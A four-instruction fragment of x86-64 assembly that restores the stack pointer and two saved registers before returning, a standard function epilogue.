add rsp, 0x48
pop rbp
pop rbx
ret